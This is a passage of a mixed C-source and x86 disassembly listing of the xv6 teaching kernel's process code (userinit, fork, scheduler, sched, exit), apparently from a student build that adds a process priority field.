if((p->pgdir = setupkvm()) == 0)
801037b3: e8 c8 34 00 00 call 80106c80 <setupkvm>
801037b8: 85 c0 test %eax,%eax
801037ba: 89 43 04 mov %eax,0x4(%ebx)
801037bd: 0f 84 bd 00 00 00 je 80103880 <userinit+0xe0>
panic("userinit: out of memory?");
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
801037c3: 83 ec 04 sub $0x4,%esp
801037c6: 68 2c 00 00 00 push $0x2c
801037cb: 68 60 a4 10 80 push $0x8010a460
801037d0: 50 push %eax
801037d1: e8 ba 31 00 00 call 80106990 <inituvm>
p->sz = PGSIZE;
memset(p->tf, 0, sizeof(*p->tf));
801037d6: 83 c4 0c add $0xc,%esp
initproc = p;
if((p->pgdir = setupkvm()) == 0)
panic("userinit: out of memory?");
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
p->sz = PGSIZE;
801037d9: c7 03 00 10 00 00 movl $0x1000,(%ebx)
memset(p->tf, 0, sizeof(*p->tf));
801037df: 6a 4c push $0x4c
801037e1: 6a 00 push $0x0
801037e3: ff 73 18 pushl 0x18(%ebx)
801037e6: e8 85 0c 00 00 call 80104470 <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
801037eb: 8b 43 18 mov 0x18(%ebx),%eax
801037ee: ba 1b 00 00 00 mov $0x1b,%edx
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
801037f3: b9 23 00 00 00 mov $0x23,%ecx
p->tf->ss = p->tf->ds;
p->tf->eflags = FL_IF;
p->tf->esp = PGSIZE;
p->tf->eip = 0; // beginning of initcode.S
safestrcpy(p->name, "initcode", sizeof(p->name));
801037f8: 83 c4 0c add $0xc,%esp
if((p->pgdir = setupkvm()) == 0)
panic("userinit: out of memory?");
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
p->sz = PGSIZE;
memset(p->tf, 0, sizeof(*p->tf));
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
801037fb: 66 89 50 3c mov %dx,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
801037ff: 8b 43 18 mov 0x18(%ebx),%eax
80103802: 66 89 48 2c mov %cx,0x2c(%eax)
p->tf->es = p->tf->ds;
80103806: 8b 43 18 mov 0x18(%ebx),%eax
80103809: 0f b7 50 2c movzwl 0x2c(%eax),%edx
8010380d: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
80103811: 8b 43 18 mov 0x18(%ebx),%eax
80103814: 0f b7 50 2c movzwl 0x2c(%eax),%edx
80103818: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
8010381c: 8b 43 18 mov 0x18(%ebx),%eax
8010381f: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
80103826: 8b 43 18 mov 0x18(%ebx),%eax
80103829: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
80103830: 8b 43 18 mov 0x18(%ebx),%eax
80103833: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
8010383a: 8d 43 6c lea 0x6c(%ebx),%eax
8010383d: 6a 10 push $0x10
8010383f: 68 c5 74 10 80 push $0x801074c5
80103844: 50 push %eax
80103845: e8 26 0e 00 00 call 80104670 <safestrcpy>
p->cwd = namei("/");
8010384a: c7 04 24 ce 74 10 80 movl $0x801074ce,(%esp)
80103851: e8 5a e6 ff ff call 80101eb0 <namei>
80103856: 89 43 68 mov %eax,0x68(%ebx)
// this assignment to p->state lets other cores
// run this process. the acquire forces the above
// writes to be visible, and the lock is also needed
// because the assignment might not be atomic.
acquire(&ptable.lock);
80103859: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103860: e8 0b 0b 00 00 call 80104370 <acquire>
p->state = RUNNABLE;
80103865: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
release(&ptable.lock);
8010386c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103873: e8 a8 0b 00 00 call 80104420 <release>
}
80103878: 83 c4 10 add $0x10,%esp
8010387b: 8b 5d fc mov -0x4(%ebp),%ebx
8010387e: c9 leave
8010387f: c3 ret
p = allocproc();
initproc = p;
if((p->pgdir = setupkvm()) == 0)
panic("userinit: out of memory?");
80103880: 83 ec 0c sub $0xc,%esp
80103883: 68 ac 74 10 80 push $0x801074ac
80103888: e8 e3 ca ff ff call 80100370 <panic>
8010388d: 8d 76 00 lea 0x0(%esi),%esi
80103890 <growproc>:
// Grow current process's memory by n bytes.
// Return 0 on success, -1 on failure.
int
growproc(int n)
{
80103890: 55 push %ebp
80103891: 89 e5 mov %esp,%ebp
80103893: 56 push %esi
80103894: 53 push %ebx
80103895: 8b 75 08 mov 0x8(%ebp),%esi
// while reading proc from the cpu structure
struct proc*
myproc(void) {
struct cpu *c;
struct proc *p;
pushcli();
80103898: e8 f3 09 00 00 call 80104290 <pushcli>
c = mycpu();
8010389d: e8 2e fe ff ff call 801036d0 <mycpu>
p = c->proc;
801038a2: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
801038a8: e8 23 0a 00 00 call 801042d0 <popcli>
{
uint sz;
struct proc *curproc = myproc();
sz = curproc->sz;
if(n > 0){
801038ad: 83 fe 00 cmp $0x0,%esi
growproc(int n)
{
uint sz;
struct proc *curproc = myproc();
sz = curproc->sz;
801038b0: 8b 03 mov (%ebx),%eax
if(n > 0){
801038b2: 7e 34 jle 801038e8 <growproc+0x58>
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
801038b4: 83 ec 04 sub $0x4,%esp
801038b7: 01 c6 add %eax,%esi
801038b9: 56 push %esi
801038ba: 50 push %eax
801038bb: ff 73 04 pushl 0x4(%ebx)
801038be: e8 0d 32 00 00 call 80106ad0 <allocuvm>
801038c3: 83 c4 10 add $0x10,%esp
801038c6: 85 c0 test %eax,%eax
801038c8: 74 36 je 80103900 <growproc+0x70>
} else if(n < 0){
if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0)
return -1;
}
curproc->sz = sz;
switchuvm(curproc);
801038ca: 83 ec 0c sub $0xc,%esp
return -1;
} else if(n < 0){
if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0)
return -1;
}
curproc->sz = sz;
801038cd: 89 03 mov %eax,(%ebx)
switchuvm(curproc);
801038cf: 53 push %ebx
801038d0: e8 ab 2f 00 00 call 80106880 <switchuvm>
return 0;
801038d5: 83 c4 10 add $0x10,%esp
801038d8: 31 c0 xor %eax,%eax
}
801038da: 8d 65 f8 lea -0x8(%ebp),%esp
801038dd: 5b pop %ebx
801038de: 5e pop %esi
801038df: 5d pop %ebp
801038e0: c3 ret
801038e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
sz = curproc->sz;
if(n > 0){
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
return -1;
} else if(n < 0){
801038e8: 74 e0 je 801038ca <growproc+0x3a>
if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0)
801038ea: 83 ec 04 sub $0x4,%esp
801038ed: 01 c6 add %eax,%esi
801038ef: 56 push %esi
801038f0: 50 push %eax
801038f1: ff 73 04 pushl 0x4(%ebx)
801038f4: e8 d7 32 00 00 call 80106bd0 <deallocuvm>
801038f9: 83 c4 10 add $0x10,%esp
801038fc: 85 c0 test %eax,%eax
801038fe: 75 ca jne 801038ca <growproc+0x3a>
struct proc *curproc = myproc();
sz = curproc->sz;
if(n > 0){
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
return -1;
80103900: b8 ff ff ff ff mov $0xffffffff,%eax
80103905: eb d3 jmp 801038da <growproc+0x4a>
80103907: 89 f6 mov %esi,%esi
80103909: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103910 <fork>:
// Create a new process copying p as the parent.
// Sets up stack to return as if from system call.
// Caller must set state of returned proc to RUNNABLE.
int
fork(void)
{
80103910: 55 push %ebp
80103911: 89 e5 mov %esp,%ebp
80103913: 57 push %edi
80103914: 56 push %esi
80103915: 53 push %ebx
80103916: 83 ec 1c sub $0x1c,%esp
// while reading proc from the cpu structure
struct proc*
myproc(void) {
struct cpu *c;
struct proc *p;
pushcli();
80103919: e8 72 09 00 00 call 80104290 <pushcli>
c = mycpu();
8010391e: e8 ad fd ff ff call 801036d0 <mycpu>
p = c->proc;
80103923: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103929: e8 a2 09 00 00 call 801042d0 <popcli>
int i, pid;
struct proc *np;
struct proc *curproc = myproc();
// Allocate process.
if((np = allocproc()) == 0){
8010392e: e8 6d fc ff ff call 801035a0 <allocproc>
80103933: 85 c0 test %eax,%eax
80103935: 89 c7 mov %eax,%edi
80103937: 89 45 e4 mov %eax,-0x1c(%ebp)
8010393a: 0f 84 b5 00 00 00 je 801039f5 <fork+0xe5>
return -1;
}
// Copy process state from proc.
if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){
80103940: 83 ec 08 sub $0x8,%esp
80103943: ff 33 pushl (%ebx)
80103945: ff 73 04 pushl 0x4(%ebx)
80103948: e8 03 34 00 00 call 80106d50 <copyuvm>
8010394d: 83 c4 10 add $0x10,%esp
80103950: 85 c0 test %eax,%eax
80103952: 89 47 04 mov %eax,0x4(%edi)
80103955: 0f 84 a1 00 00 00 je 801039fc <fork+0xec>
kfree(np->kstack);
np->kstack = 0;
np->state = UNUSED;
return -1;
}
np->sz = curproc->sz;
8010395b: 8b 03 mov (%ebx),%eax
8010395d: 8b 4d e4 mov -0x1c(%ebp),%ecx
80103960: 89 01 mov %eax,(%ecx)
np->parent = curproc;
80103962: 89 59 14 mov %ebx,0x14(%ecx)
*np->tf = *curproc->tf;
80103965: 89 c8 mov %ecx,%eax
80103967: 8b 79 18 mov 0x18(%ecx),%edi
8010396a: 8b 73 18 mov 0x18(%ebx),%esi
8010396d: b9 13 00 00 00 mov $0x13,%ecx
80103972: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
80103974: 31 f6 xor %esi,%esi
np->sz = curproc->sz;
np->parent = curproc;
*np->tf = *curproc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
80103976: 8b 40 18 mov 0x18(%eax),%eax
80103979: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
for(i = 0; i < NOFILE; i++)
if(curproc->ofile[i])
80103980: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax
80103984: 85 c0 test %eax,%eax
80103986: 74 13 je 8010399b <fork+0x8b>
np->ofile[i] = filedup(curproc->ofile[i]);
80103988: 83 ec 0c sub $0xc,%esp
8010398b: 50 push %eax
8010398c: e8 4f d4 ff ff call 80100de0 <filedup>
80103991: 8b 55 e4 mov -0x1c(%ebp),%edx
80103994: 83 c4 10 add $0x10,%esp
80103997: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4)
*np->tf = *curproc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
8010399b: 83 c6 01 add $0x1,%esi
8010399e: 83 fe 10 cmp $0x10,%esi
801039a1: 75 dd jne 80103980 <fork+0x70>
if(curproc->ofile[i])
np->ofile[i] = filedup(curproc->ofile[i]);
np->cwd = idup(curproc->cwd);
801039a3: 83 ec 0c sub $0xc,%esp
801039a6: ff 73 68 pushl 0x68(%ebx)
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
801039a9: 83 c3 6c add $0x6c,%ebx
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
if(curproc->ofile[i])
np->ofile[i] = filedup(curproc->ofile[i]);
np->cwd = idup(curproc->cwd);
801039ac: e8 7f dc ff ff call 80101630 <idup>
801039b1: 8b 7d e4 mov -0x1c(%ebp),%edi
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
801039b4: 83 c4 0c add $0xc,%esp
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
if(curproc->ofile[i])
np->ofile[i] = filedup(curproc->ofile[i]);
np->cwd = idup(curproc->cwd);
801039b7: 89 47 68 mov %eax,0x68(%edi)
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
801039ba: 8d 47 6c lea 0x6c(%edi),%eax
801039bd: 6a 10 push $0x10
801039bf: 53 push %ebx
801039c0: 50 push %eax
801039c1: e8 aa 0c 00 00 call 80104670 <safestrcpy>
pid = np->pid;
801039c6: 8b 5f 10 mov 0x10(%edi),%ebx
acquire(&ptable.lock);
801039c9: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801039d0: e8 9b 09 00 00 call 80104370 <acquire>
np->state = RUNNABLE;
801039d5: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi)
release(&ptable.lock);
801039dc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
801039e3: e8 38 0a 00 00 call 80104420 <release>
return pid;
801039e8: 83 c4 10 add $0x10,%esp
801039eb: 89 d8 mov %ebx,%eax
}
801039ed: 8d 65 f4 lea -0xc(%ebp),%esp
801039f0: 5b pop %ebx
801039f1: 5e pop %esi
801039f2: 5f pop %edi
801039f3: 5d pop %ebp
801039f4: c3 ret
struct proc *np;
struct proc *curproc = myproc();
// Allocate process.
if((np = allocproc()) == 0){
return -1;
801039f5: b8 ff ff ff ff mov $0xffffffff,%eax
801039fa: eb f1 jmp 801039ed <fork+0xdd>
}
// Copy process state from proc.
if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){
kfree(np->kstack);
801039fc: 8b 7d e4 mov -0x1c(%ebp),%edi
801039ff: 83 ec 0c sub $0xc,%esp
80103a02: ff 77 08 pushl 0x8(%edi)
80103a05: e8 c6 e8 ff ff call 801022d0 <kfree>
np->kstack = 0;
80103a0a: c7 47 08 00 00 00 00 movl $0x0,0x8(%edi)
np->state = UNUSED;
80103a11: c7 47 0c 00 00 00 00 movl $0x0,0xc(%edi)
return -1;
80103a18: 83 c4 10 add $0x10,%esp
80103a1b: b8 ff ff ff ff mov $0xffffffff,%eax
80103a20: eb cb jmp 801039ed <fork+0xdd>
80103a22: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103a29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103a30 <scheduler>:
// - swtch to start running that process
// - eventually that process transfers control
// via swtch back to the scheduler.
void
scheduler(void)
{
80103a30: 55 push %ebp
80103a31: 89 e5 mov %esp,%ebp
80103a33: 57 push %edi
80103a34: 56 push %esi
80103a35: 53 push %ebx
80103a36: 83 ec 0c sub $0xc,%esp
struct proc *p;
struct cpu *c = mycpu();
80103a39: e8 92 fc ff ff call 801036d0 <mycpu>
80103a3e: 8d 78 04 lea 0x4(%eax),%edi
80103a41: 89 c6 mov %eax,%esi
c->proc = 0;
80103a43: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax)
80103a4a: 00 00 00
80103a4d: 8d 76 00 lea 0x0(%esi),%esi
}
static inline void
sti(void)
{
asm volatile("sti");
80103a50: fb sti
for(;;){
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
80103a51: 83 ec 0c sub $0xc,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103a54: bb 54 2d 11 80 mov $0x80112d54,%ebx
for(;;){
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
80103a59: 68 20 2d 11 80 push $0x80112d20
80103a5e: e8 0d 09 00 00 call 80104370 <acquire>
80103a63: 83 c4 10 add $0x10,%esp
80103a66: eb 13 jmp 80103a7b <scheduler+0x4b>
80103a68: 90 nop
80103a69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103a70: 83 eb 80 sub $0xffffff80,%ebx
80103a73: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
80103a79: 74 55 je 80103ad0 <scheduler+0xa0>
if(p->state != RUNNABLE)
80103a7b: 83 7b 0c 03 cmpl $0x3,0xc(%ebx)
80103a7f: 75 ef jne 80103a70 <scheduler+0x40>
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
c->proc = p;
switchuvm(p);
80103a81: 83 ec 0c sub $0xc,%esp
continue;
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
c->proc = p;
80103a84: 89 9e ac 00 00 00 mov %ebx,0xac(%esi)
switchuvm(p);
80103a8a: 53 push %ebx
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103a8b: 83 eb 80 sub $0xffffff80,%ebx
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
c->proc = p;
switchuvm(p);
80103a8e: e8 ed 2d 00 00 call 80106880 <switchuvm>
p->state = RUNNING;
p->priority = 10;
swtch(&(c->scheduler), p->context);
80103a93: 58 pop %eax
80103a94: 5a pop %edx
80103a95: ff 73 9c pushl -0x64(%ebx)
80103a98: 57 push %edi
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
c->proc = p;
switchuvm(p);
p->state = RUNNING;
80103a99: c7 43 8c 04 00 00 00 movl $0x4,-0x74(%ebx)
p->priority = 10;
80103aa0: c7 43 fc 0a 00 00 00 movl $0xa,-0x4(%ebx)
swtch(&(c->scheduler), p->context);
80103aa7: e8 1f 0c 00 00 call 801046cb <swtch>
switchkvm();
80103aac: e8 af 2d 00 00 call 80106860 <switchkvm>
// Process is done running for now.
// It should have changed its p->state before coming back.
c->proc = 0;
80103ab1: 83 c4 10 add $0x10,%esp
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103ab4: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx
swtch(&(c->scheduler), p->context);
switchkvm();
// Process is done running for now.
// It should have changed its p->state before coming back.
c->proc = 0;
80103aba: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi)
80103ac1: 00 00 00
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103ac4: 75 b5 jne 80103a7b <scheduler+0x4b>
80103ac6: 8d 76 00 lea 0x0(%esi),%esi
80103ac9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
// Process is done running for now.
// It should have changed its p->state before coming back.
c->proc = 0;
}
release(&ptable.lock);
80103ad0: 83 ec 0c sub $0xc,%esp
80103ad3: 68 20 2d 11 80 push $0x80112d20
80103ad8: e8 43 09 00 00 call 80104420 <release>
}
80103add: 83 c4 10 add $0x10,%esp
80103ae0: e9 6b ff ff ff jmp 80103a50 <scheduler+0x20>
80103ae5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103ae9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103af0 <sched>:
// be proc->intena and proc->ncli, but that would
// break in the few places where a lock is held but
// there's no process.
void
sched(void)
{
80103af0: 55 push %ebp
80103af1: 89 e5 mov %esp,%ebp
80103af3: 56 push %esi
80103af4: 53 push %ebx
// while reading proc from the cpu structure
struct proc*
myproc(void) {
struct cpu *c;
struct proc *p;
pushcli();
80103af5: e8 96 07 00 00 call 80104290 <pushcli>
c = mycpu();
80103afa: e8 d1 fb ff ff call 801036d0 <mycpu>
p = c->proc;
80103aff: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103b05: e8 c6 07 00 00 call 801042d0 <popcli>
sched(void)
{
int intena;
struct proc *p = myproc();
if(!holding(&ptable.lock))
80103b0a: 83 ec 0c sub $0xc,%esp
80103b0d: 68 20 2d 11 80 push $0x80112d20
80103b12: e8 29 08 00 00 call 80104340 <holding>
80103b17: 83 c4 10 add $0x10,%esp
80103b1a: 85 c0 test %eax,%eax
80103b1c: 74 4f je 80103b6d <sched+0x7d>
panic("sched ptable.lock");
if(mycpu()->ncli != 1)
80103b1e: e8 ad fb ff ff call 801036d0 <mycpu>
80103b23: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax)
80103b2a: 75 68 jne 80103b94 <sched+0xa4>
panic("sched locks");
if(p->state == RUNNING)
80103b2c: 83 7b 0c 04 cmpl $0x4,0xc(%ebx)
80103b30: 74 55 je 80103b87 <sched+0x97>
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103b32: 9c pushf
80103b33: 58 pop %eax
panic("sched running");
if(readeflags()&FL_IF)
80103b34: f6 c4 02 test $0x2,%ah
80103b37: 75 41 jne 80103b7a <sched+0x8a>
panic("sched interruptible");
intena = mycpu()->intena;
80103b39: e8 92 fb ff ff call 801036d0 <mycpu>
swtch(&p->context, mycpu()->scheduler);
80103b3e: 83 c3 1c add $0x1c,%ebx
panic("sched locks");
if(p->state == RUNNING)
panic("sched running");
if(readeflags()&FL_IF)
panic("sched interruptible");
intena = mycpu()->intena;
80103b41: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi
swtch(&p->context, mycpu()->scheduler);
80103b47: e8 84 fb ff ff call 801036d0 <mycpu>
80103b4c: 83 ec 08 sub $0x8,%esp
80103b4f: ff 70 04 pushl 0x4(%eax)
80103b52: 53 push %ebx
80103b53: e8 73 0b 00 00 call 801046cb <swtch>
mycpu()->intena = intena;
80103b58: e8 73 fb ff ff call 801036d0 <mycpu>
}
80103b5d: 83 c4 10 add $0x10,%esp
panic("sched running");
if(readeflags()&FL_IF)
panic("sched interruptible");
intena = mycpu()->intena;
swtch(&p->context, mycpu()->scheduler);
mycpu()->intena = intena;
80103b60: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax)
}
80103b66: 8d 65 f8 lea -0x8(%ebp),%esp
80103b69: 5b pop %ebx
80103b6a: 5e pop %esi
80103b6b: 5d pop %ebp
80103b6c: c3 ret
{
int intena;
struct proc *p = myproc();
if(!holding(&ptable.lock))
panic("sched ptable.lock");
80103b6d: 83 ec 0c sub $0xc,%esp
80103b70: 68 d0 74 10 80 push $0x801074d0
80103b75: e8 f6 c7 ff ff call 80100370 <panic>
if(mycpu()->ncli != 1)
panic("sched locks");
if(p->state == RUNNING)
panic("sched running");
if(readeflags()&FL_IF)
panic("sched interruptible");
80103b7a: 83 ec 0c sub $0xc,%esp
80103b7d: 68 fc 74 10 80 push $0x801074fc
80103b82: e8 e9 c7 ff ff call 80100370 <panic>
if(!holding(&ptable.lock))
panic("sched ptable.lock");
if(mycpu()->ncli != 1)
panic("sched locks");
if(p->state == RUNNING)
panic("sched running");
80103b87: 83 ec 0c sub $0xc,%esp
80103b8a: 68 ee 74 10 80 push $0x801074ee
80103b8f: e8 dc c7 ff ff call 80100370 <panic>
struct proc *p = myproc();
if(!holding(&ptable.lock))
panic("sched ptable.lock");
if(mycpu()->ncli != 1)
panic("sched locks");
80103b94: 83 ec 0c sub $0xc,%esp
80103b97: 68 e2 74 10 80 push $0x801074e2
80103b9c: e8 cf c7 ff ff call 80100370 <panic>
80103ba1: eb 0d jmp 80103bb0 <exit>
80103ba3: 90 nop
80103ba4: 90 nop
80103ba5: 90 nop
80103ba6: 90 nop
80103ba7: 90 nop
80103ba8: 90 nop
80103ba9: 90 nop
80103baa: 90 nop
80103bab: 90 nop
80103bac: 90 nop
80103bad: 90 nop
80103bae: 90 nop
80103baf: 90 nop
80103bb0 <exit>:
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
80103bb0: 55 push %ebp
80103bb1: 89 e5 mov %esp,%ebp
80103bb3: 57 push %edi
80103bb4: 56 push %esi
80103bb5: 53 push %ebx
80103bb6: 83 ec 0c sub $0xc,%esp
// while reading proc from the cpu structure
struct proc*
myproc(void) {
struct cpu *c;
struct proc *p;
pushcli();
80103bb9: e8 d2 06 00 00 call 80104290 <pushcli>
c = mycpu();
80103bbe: e8 0d fb ff ff call 801036d0 <mycpu>
p = c->proc;
80103bc3: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi
popcli();
80103bc9: e8 02 07 00 00 call 801042d0 <popcli>
{
struct proc *curproc = myproc();
struct proc *p;
int fd;
if(curproc == initproc)
80103bce: 39 35 b8 a5 10 80 cmp %esi,0x8010a5b8
80103bd4: 8d 5e 28 lea 0x28(%esi),%ebx
80103bd7: 8d 7e 68 lea 0x68(%esi),%edi
80103bda: 0f 84 e7 00 00 00 je 80103cc7 <exit+0x117>
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
if(curproc->ofile[fd]){
80103be0: 8b 03 mov (%ebx),%eax
80103be2: 85 c0 test %eax,%eax
80103be4: 74 12 je 80103bf8 <exit+0x48>
fileclose(curproc->ofile[fd]);
80103be6: 83 ec 0c sub $0xc,%esp
80103be9: 50 push %eax
80103bea: e8 41 d2 ff ff call 80100e30 <fileclose>
curproc->ofile[fd] = 0;
80103bef: c7 03 00 00 00 00 movl $0x0,(%ebx)
80103bf5: 83 c4 10 add $0x10,%esp
80103bf8: 83 c3 04 add $0x4,%ebx
if(curproc == initproc)
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
80103bfb: 39 df cmp %ebx,%edi
80103bfd: 75 e1 jne 80103be0 <exit+0x30>
fileclose(curproc->ofile[fd]);
curproc->ofile[fd] = 0;
}
}
begin_op();
80103bff: e8 3c ef ff ff call 80102b40 <begin_op>
iput(curproc->cwd);
80103c04: 83 ec 0c sub $0xc,%esp
80103c07: ff 76 68 pushl 0x68(%esi)
80103c0a: e8 81 db ff ff call 80101790 <iput>
end_op();
80103c0f: e8 9c ef ff ff call 80102bb0 <end_op>
curproc->cwd = 0;
80103c14: c7 46 68 00 00 00 00 movl $0x0,0x68(%esi)
acquire(&ptable.lock);
80103c1b: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103c22: e8 49 07 00 00 call 80104370 <acquire>
// Parent might be sleeping in wait().
wakeup1(curproc->parent);
80103c27: 8b 56 14 mov 0x14(%esi),%edx
80103c2a: 83 c4 10 add $0x10,%esp
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103c2d: b8 54 2d 11 80 mov $0x80112d54,%eax
80103c32: eb 0e jmp 80103c42 <exit+0x92>
80103c34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103c38: 83 e8 80 sub $0xffffff80,%eax
80103c3b: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103c40: 74 1c je 80103c5e <exit+0xae>
if(p->state == SLEEPING && p->chan == chan)
80103c42: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103c46: 75 f0 jne 80103c38 <exit+0x88>
80103c48: 3b 50 20 cmp 0x20(%eax),%edx
80103c4b: 75 eb jne 80103c38 <exit+0x88>
p->state = RUNNABLE;
80103c4d: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103c54: 83 e8 80 sub $0xffffff80,%eax
80103c57: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103c5c: 75 e4 jne 80103c42 <exit+0x92>
wakeup1(curproc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->parent == curproc){
p->parent = initproc;
80103c5e: 8b 0d b8 a5 10 80 mov 0x8010a5b8,%ecx
80103c64: ba 54 2d 11 80 mov $0x80112d54,%edx
80103c69: eb 10 jmp 80103c7b <exit+0xcb>
80103c6b: 90 nop
80103c6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
// Parent might be sleeping in wait().
wakeup1(curproc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103c70: 83 ea 80 sub $0xffffff80,%edx
80103c73: 81 fa 54 4d 11 80 cmp $0x80114d54,%edx
80103c79: 74 33 je 80103cae <exit+0xfe>
if(p->parent == curproc){
80103c7b: 39 72 14 cmp %esi,0x14(%edx)
80103c7e: 75 f0 jne 80103c70 <exit+0xc0>
p->parent = initproc;
if(p->state == ZOMBIE)
80103c80: 83 7a 0c 05 cmpl $0x5,0xc(%edx)
wakeup1(curproc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->parent == curproc){
p->parent = initproc;
80103c84: 89 4a 14 mov %ecx,0x14(%edx)
if(p->state == ZOMBIE)
80103c87: 75 e7 jne 80103c70 <exit+0xc0>
80103c89: b8 54 2d 11 80 mov $0x80112d54,%eax
80103c8e: eb 0a jmp 80103c9a <exit+0xea>
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103c90: 83 e8 80 sub $0xffffff80,%eax
80103c93: 3d 54 4d 11 80 cmp $0x80114d54,%eax
80103c98: 74 d6 je 80103c70 <exit+0xc0>
if(p->state == SLEEPING && p->chan == chan)
80103c9a: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80103c9e: 75 f0 jne 80103c90 <exit+0xe0>
80103ca0: 3b 48 20 cmp 0x20(%eax),%ecx
80103ca3: 75 eb jne 80103c90 <exit+0xe0>
p->state = RUNNABLE;
